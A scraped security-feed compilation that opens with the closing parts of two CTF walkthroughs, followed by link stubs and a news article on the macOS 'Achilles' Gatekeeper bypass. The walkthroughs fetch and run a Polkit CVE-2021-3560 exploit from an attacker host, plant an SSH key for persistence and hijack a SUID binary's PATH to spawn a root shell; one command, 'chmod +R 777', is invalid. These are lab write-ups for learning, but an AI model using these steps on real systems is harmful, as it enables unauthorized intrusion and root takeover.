cking articles which has very clear instructions to exploit it. The full article is available in the below link: https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/

Background of the vulnerability can be found here: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Reference of the exploit we have used here: https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py

We simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.  We used wget command to download the exploit from GitHub, you may use other utilities as well such as curl.
wget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png?w=640&ssl=1

On the target side we downloaded the CVE-2021-3560.py exploit to the target /tmp directory with wget command. Then we execute the python script with python3.
wget 10.10.14.12/ CVE-2021-3560.py
python3 CVE-2021-3560.py
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png?w=640&ssl=1 Root FlagAfter the successful execution of the script, it spawned a root shell. Now we can grab root flag from the root directory.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png?w=640&ssl=1 ConclusionThis machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chatbot feature abuse, file transfer, file permissions, the importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.

Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!

Author: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin

t shell and SUID was set for Matt with execute permission. Ltrace is pre-installed in the pandora box so we can use this tool to enumerate the pandora_backup file. From the out, we can see that the program is saving backup to the /root/.backup directory without providing full path of the binary. So here the possible attack is to hijack its binary path. In order to do the path hijacking let’s get a stable fully interactive shell so we can perform our attack without any shell issues. SSH Key GenerateWe will generate an SSH key in our kali and save it as pandora. Two keys will be generated one is public key and another is private key. We need to transfer the public key to the target system. To send the file to the target system we need to set up a python server in our Kali on port 80, it is not mandatory to use port 80 we can use any port as our wish.
ssh-keygen -f pandora
ls -la
python3 -m http.server 80
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwi-Yk3i_U6iKHnWqm0dkJf2jzjKiknSBGLiW5gv-ccAIbjexx-q6vni1QLVtoJPF2iXkakOgxrgCqJrhOzcsB89Ayqa0BeafFr4eEU5HNlYmpoOMDbUxzdmvznzDAjm2yd_A8gAOIydH5DaM_EGYYBcmbrbWr3vSHOWrdhM8iSr28Vwu-e6eX3srdEQ/s16000/18.png?w=640&ssl=1

Next, we need to transfer the public key in the matt user home directory. If there is no .ssh directory, then we need to create one and place public key to .ssh directory then we need to change its name to authorized_keys and provide right permission to .ssh directory where keys are kept.
mkdir .ssh
cd .ssh
wget 10.10.14.3/pandora.pub
mv pandora.pub authorized_keys
cd ..
chmod +R 777 .ssh
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCMmiFrRPK9-_wNaXBKKLHybp93IHScBWp5T_0Ti7Hb-766gFufRJOJTuBaqHiRnxUrkDD_Nw5VEwgrDxDiTsyQxl5yv9ehSHyKywfpUcTVH7D1ahTDCXqkCPG7dC4mZRENCejstRzPjokNMViQ7vIeXezz2ZzCTrVeIi-t8mq8fsPeqjSOezXrnXRUQ/s16000/19.png?w=640&ssl=1

Once we followed the above steps then we need to give chmod 600 permission to the private key which is stored in our Kali. Next, we will connect with the target system as matt using this private key. This part is a kind of maintaining persistence and gaining fully interactive shell as user matt. The main reason we are login in with the ssh key because we do not have user matt password and it can be very painful if we lose shell during the exploitation process. SUID Path HijackNow we are in the position to abuse SUID tar binary. Let’s understand the methodology behind the attack. Whenever matt user executes the program pandora_backup then it will use tar command which has no binary path set so we will make a fake tar executable and put /bin/bash and set its binary path to our current path where our malicious tar executable is present.
cd /tmp
echo "/bin/bash" > tar
chmod 777 tar
export PATH=.:$PATH Root FlagOnce path is set and if the matt executes the program, then it will execute tar from the path we have set, and a root shell will get spawn. Once root shell will spawn then we can grab our root flag from the /root directory.
/usr/bin/pandora_backup
cd /root
ls
cat root.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSFjEBES_BL6za4_hlEE124hl_eg8av9P6ijDmS4m04uh2rLtcy5G_7soDAPCp6BXatE3qncJatiqhNEBgQtys4lBHYd8R_w3gWjl_ri391ViYgVKIunOIZCILN7gfZ7hq3Dio46MF8stoiQ5CChrAgD1RaL9dFGsZvsCeKF5zIX32-_PSZXZr8YjrnQ/s16000/20.png?w=640&ssl=1 Conclusion: This machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, UDP port scan, service enumeration, SNMP enumeration, port forwarding, SQL injection, malicious file upload, horizontal privilege escalation, ssh key generate, SUID path hijacking.

Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!

Author: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and love to explore more and more. Additionally, he is a technic[...]

al writer at Hacking articles. Contact here: Linkedin

Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities

Bug Bounty Bootcamp: The Guide to Finding and Reporting Web VulnerabilitiesContinue reading on Medium »
Read more...

Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities
https://inchighal.medium.com/bug-bounty-bootcamp-the-guide-to-finding-and-reporting-web-vulnerabilities-de3f08cb8c7f?source=rss------bug_bounty-5

Bug Bounty Bootcamp: The Guide to Finding and Reporting Web VulnerabilitiesContinue reading on Medium » (https://inchighal.medium.com/bug-bounty-bootcamp-the-guide-to-finding-and-reporting-web-vulnerabilities-de3f08cb8c7f?source=rss------bug_bounty-5)

Hacking on Medium
All About Metasploit Framework

https://cdn-images-1.medium.com/max/600/1*rvGg9T81pJrqXubQcybXHA.png
Hello Today i’m going to explain about my most favorite Exploitation tool.

Continue reading on Medium »

Hacking on Medium
Ethical Hacking Career: A Career Guide for Ethical Hacker

https://cdn-images-1.medium.com/max/1752/1*5w5CwsVHaD0uhUs4N3SKHg.png
Introduction to Ethical Hacking

Continue reading on Medium »

The Best Information Security Newsletters to Stay Updated
https://medium.com/heck-the-packet/the-best-information-security-newsletters-to-stay-updated-7e2036d6d8f0?source=rss------bug_bounty-5

Are you constantly struggling to keep up with the information security cyber security, bug bounties…the list goes on 🙄Continue reading on Heck the Packet » (https://medium.com/heck-the-packet/the-best-information-security-newsletters-to-stay-updated-7e2036d6d8f0?source=rss------bug_bounty-5)

[GraphQL IDOR]Leaking credit card information of 1000s of users
https://infosecwriteups.com/graphql-idor-leaking-credit-card-information-of-1000s-of-users-d07eec732979?source=rss------bug_bounty-5

Hey everyoneContinue reading on InfoSec Write-ups » (https://infosecwriteups.com/graphql-idor-leaking-credit-card-information-of-1000s-of-users-d07eec732979?source=rss------bug_bounty-5)

The Best Information Security Newsletters to Stay Updated

Are you constantly struggling to keep up with the information security cyber security, bug bounties…the list goes on 🙄Continue reading on Heck the Packet »
Read more...

[GraphQL IDOR]Leaking credit card information of 1000s of users

Hey everyoneContinue reading on InfoSec Write-ups »
Read more...

Penetration Testing Report
https://www.reddit.com/r/Pentesting/comments/zqk8hc/penetration_testing_report/

submitted by /u/Neat-Assistance-7805 (https://www.reddit.com/user/Neat-Assistance-7805)
[link] (https://www.reddit.com/gallery/zqk8hc) [comments] (https://www.reddit.com/r/Pentesting/comments/zqk8hc/penetration_testing_report/)

Black Hat Ethical Hacking
Microsoft finds macOS bug that lets malware bypass security checks

Microsoft finds macOS bug that lets malware bypass security checksPost Views: 17 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes Apple has fixed a vulnerability attackers could leverage to deploy malware on vulnerable macOS devices via untrusted applications capable of bypassing Gatekeeper application execution restrictions.Found and reported by Microsoft principal security researcher Jonathan Bar Or, the security flaw (dubbed Achilles) is now tracked as CVE-2022-42821.

Apple addressed the bug in macOS 13 (Ventura), macOS 12.6.2 (Monterey), and macOS 1.7.2 (Big Sur) one week ago, on December 13.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Gatekeeper bypass via restrictive ACLsGatekeeper is a macOS security feature that automatically checks all apps downloaded from the Internet if they are notarized and developer-signed (approved by Apple), asking the user to confirm before launching or issuing an alert that the app cannot be trusted.

This is achieved by checking an extended attribute named com.apple.quarantine which is assigned by web browsers to all downloaded files, similar to Mark of the Web in Windows.

The Achilles flaw allows specially-crafted payloads to abuse a logic issue to set restrictive Access Control List (ACL) permissions that block web browsers and Internet downloaders from setting the com.apple.quarantine attribute for downloaded the payload archived as ZIP files.

As a result, the malicious app contained within the archived malicious payload launches on the target’s system instead of getting blocked by Gatekeeper, allowing attackers to download and deploy malware.

Microsoft said on Monday that “Apple’s Lockdown Mode, introduced in macOS Ventura as an optional protection feature for high-risk users that might be personally targeted by a sophisticated cyberattack, is aimed to stop zero-click remote code execution exploits, and therefore does not defend against Achilles.”

“End-users should apply the fix regardless of their Lockdown Mode status,” the Microsoft Security Threat Intelligence team added. https://www.microsoft.com/en-us/videoplayer/embed/RE5dQo5
Trending: A primer on OS Command Injection Attacks
Trending: Digital Forensics Tool: Email Analyzer ​More macOS security bypasses and malwareThis is just one of multiple Gatekeeper bypasses found in the last several years, with many of them abused in the wild by attackers to circumvent macOS security mechanisms like Gatekeeper, File Quarantine, and System Integrity Protection (SIP) on fully patched Macs.

For instance, Bar Or reported a security flaw dubbed Shrootless in 2021 that can let threat actors bypass System Integrity Protection (SIP) to perform arbitrary operations on the compromised Mac, elevate privileges to root, and even install rootkits on vulnerable devices.

The researcher also discovered powerdir, a bug that allows attackers to bypass Transparency, Consent, and Control (TCC) technology to access users’ protected data.

He also released exploit code for a macOS vulnerability (CVE-2022-26706) that could help attackers bypass sandbox restrictions to run code on the system.

Last but not least, Apple fixed a zero-day macOS vulnerability in April 2021 that enabled threat actors behind the notorious Shlayer malware to circumvent Apple’s File Quarantine, Gatekeeper, and Notarization security checks and download more malware on infected Macs.

Shlayer’s creators had also managed to get their payloads through Apple’s automated notarizing process[...]